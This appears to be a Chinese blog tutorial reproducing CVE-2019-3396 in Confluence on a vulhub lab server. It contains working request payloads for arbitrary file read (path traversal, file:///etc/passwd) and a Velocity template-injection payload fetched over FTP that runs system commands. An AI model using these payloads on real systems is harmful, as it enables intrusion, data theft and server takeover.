漏洞复现|(CVE-2019-3396)Confluence文件读取&远程命令执行

作者: 墨阳
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x01 前言

1、漏洞简介

Confluence是一个专业的企业知识管理与协同软件,常用于构建企业wiki。它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。Confluence Server 与 Confluence Data Center 中的 Widget Connector 存在服务端模板注入漏洞,攻击者构造特定请求可远程遍历服务器任意文件,进而可以包含恶意文件来执行代码。可能造成敏感信息泄露,服务器被控制等严重后果。

2、影响范围

6.6.12之前所有6.6.x版本
6.12.3之前所有6.12.x版本
6.13.13之前所有6.13.x版本
6.14.2之前所有6.14.x版本

0x02 配置环境:

最好给服务器虚拟机4G以上内存,vulhub启动confluence环境,接下来初始化配置:
在这里插入图片描述
在这里插入图片描述
BSBI-NU9A-RRKH-P24K

邮箱注册
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后填写一个集团名和路径/home/confluence共享目录
配置数据库连接
在这里插入图片描述
在这里插入图片描述
点example site
点manager
在这里插入图片描述
输入用户邮箱密码
在这里插入图片描述
之后的教程跳过-跳过-test-继续
配置完成

0x03 文件读取

1、漏洞触发位置:

插入更多内容(+号)–其他宏–小工具连接器
在这里插入图片描述
在这里插入图片描述

2、抓包,修改(没有账号直接抓登陆包修改也可以)

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.72.129:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.72.129:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E1D021B04024032C964FB9E6A11D340B
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 168

{
    
    "contentId":"786458","macro":{
    
    "name":"widget","body":"","params":{
    
    "url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

在这里插入图片描述

3、将_template参数修改为file伪协议读取任意文件

{
    
    "contentId":"786458","macro":{
    
    "name":"widget","body":"","params":{
    
    "url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

在这里插入图片描述

0x04 远程代码执行

此处文件包含可以使用如file、https、ftp等协议,如果文件是一个 Velocity 模板,我们可以通过模板注入(SSTI)执行任意命令

1、写一个velocity模板文件:

参考:https://blog.csdn.net/weixin_43072923/article/details/117083611

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

2、开一个ftp服务

这里图省事直接在服务器ubuntu上开了ftp服务,实际可以在kali或者另找一个ubuntu即可

pip install pyftpdlib
python3 -m pyftpdlib -p 21

在这里插入图片描述
payload:

{
    
    "contentId":"786458","macro":{
    
    "name":"widget","body":"","params":{
    
    "url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.72.129:21/test.vm","command":"id"}}}

3、发包,命令执行

在这里插入图片描述

0x05 修复建议

官方已修复该漏洞,请到官网下载无漏洞版本:https://www.atlassian.com/

0x06 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

Guess you like

Origin blog.csdn.net/weixin_42282189/article/details/120898476